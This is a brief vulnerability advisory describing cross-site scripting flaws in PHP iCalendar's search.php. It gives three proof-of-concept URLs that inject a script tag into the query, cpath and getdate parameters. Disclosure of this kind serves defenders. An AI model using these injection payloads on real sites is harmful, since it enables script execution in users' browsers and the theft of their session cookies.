source: http://www.securityfocus.com/bid/21792/info
    
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15 

http://www.example.com/phpicalendar/search.php?cpath="><script>alert()</script>&cal=Home %2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12 

http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102"><script>alert()</script>&query=ss&submit.x=11&submit.y=12